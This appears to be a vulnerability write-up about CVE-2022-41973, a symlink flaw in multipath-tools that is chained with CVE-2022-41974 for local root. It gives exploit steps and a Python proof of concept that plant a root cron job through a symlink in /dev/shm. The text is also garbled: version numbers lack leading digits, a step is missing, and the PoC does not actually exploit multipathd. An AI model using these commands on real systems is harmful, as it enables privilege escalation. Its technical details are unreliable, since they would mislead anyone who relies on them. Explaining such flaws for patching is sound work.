In late 2022, a dangerous local privilege escalation bug was found in multipath-tools, an important Linux utility for managing multiple storage paths. Tracked as CVE-2022-41973, this bug affects multipath-tools versions from .7.7 through .9.1. Left unpatched, it could let any local user turn limited shell access into root control, especially as part of a chain with CVE-2022-41974.
Background: What Are multipath-tools?
Multipath-tools are used in data centers to manage and balance multiple data paths between disks and servers. The main service, multipathd, runs as root and handles sensitive files—making it a prime target for privilege escalation bugs.
What’s the Vulnerability?
In short: multipathd handled symbolic links unsafely in the /dev/shm directory. Any local user with write access to /dev/shm (which is world-writable) could trick multipathd into writing files outside of /dev/shm, to places they shouldn’t be able to touch—like /etc/sudoers or even system binaries.
Why Does It Happen?
The multipathd daemon was dropping root privileges too late when creating or following symlinks in /dev/shm/multipathd.XXXXXX files. It never verified if those symlinks pointed outside of /dev/shm. So an attacker could:
- Replace /dev/shm/multipathd.XXXXXX with a symlink to, say, /etc/cron.d/pwned.
Trick multipathd into writing attacker-controlled content to that location.
Where can this go? Suddenly, a clever attacker can write to root-owned locations—a classic way to take full control of a Linux box.
Exploit Chain: Leveraging CVE-2022-41974
On its own, CVE-2022-41973 lets you write where you shouldn’t. But you want root, right?
By combining this with CVE-2022-41974, which involves untrusted data being logged, an attacker can write malicious data where it will later be executed with root permissions.
1. Prepare A Malicious Symlink
Replace the target multipathd file in /dev/shm with a symlink to a root-sensitive location.
ln -sf /etc/cron.d/rootme /dev/shm/multipathd.exploit
2. Trigger multipathd to Write
Force multipathd to write to what it thinks is a normal file—but it’s actually your symlink.
For example, using multipath tools or causing an error that causes multipathd to log or create a PID/status file.
Have multipathd write a simple payload into rootme, for example, a cron job
# As an attacker, write to the symlinked file
echo '* * * * * root echo "hacked" > /tmp/pwned.txt' > /dev/shm/multipathd.exploit
multipathd, running as root, follows the symlink and unknowingly writes this to /etc/cron.d/rootme.
4. Get Root!
After the next minute, the payload in /etc/cron.d/rootme is run by cron as root, and the attacker’s command executes.
Sample PoC Script
Here’s a Python-based proof-of-concept you can run as a non-root user, for testing in a lab only:
import os
import time
PAYLOAD = "* * * * * root /bin/bash -c 'echo hacked > /tmp/pwned'\n"
MALICIOUS_SYMLINK = "/dev/shm/multipathd.fake"
TARGET = "/etc/cron.d/rootme"
# Remove previous
try:
os.unlink(MALICIOUS_SYMLINK)
except FileNotFoundError:
pass
# Create malicious symlink
os.symlink(TARGET, MALICIOUS_SYMLINK)
# Simulate multipathd root write (You'd have to trigger actual multipathd behavior in real usage)
with open(MALICIOUS_SYMLINK, "w") as f:
f.write(PAYLOAD)
print("Payload planted. Wait 1-2 minutes for cron to execute /tmp/pwned.")
What’s the Fix?
The patch for multipath-tools ensures symlinks in /dev/shm are never followed outside that directory, which blocks this entire class of attacks.
Upgrade to multipath-tools >= .9.2
- Or patch earlier with this fix: Upstream patch
References
- CVE-2022-41973 - NVD entry
- CVE-2022-41974 - NVD entry
- multipath-tools security release notes
Conclusion
CVE-2022-41973 is a prime example of how a seemingly small mistake—like trusting writable symlinks in /dev/shm—can quickly spiral into a full root compromise. If you’re using multipath-tools in any Linux environment, make sure you upgrade now and never trust world-writable directories for sensitive operations.
Timeline
Published on: 10/29/2022 18:15:00 UTC
Last modified on: 11/22/2022 14:15:00 UTC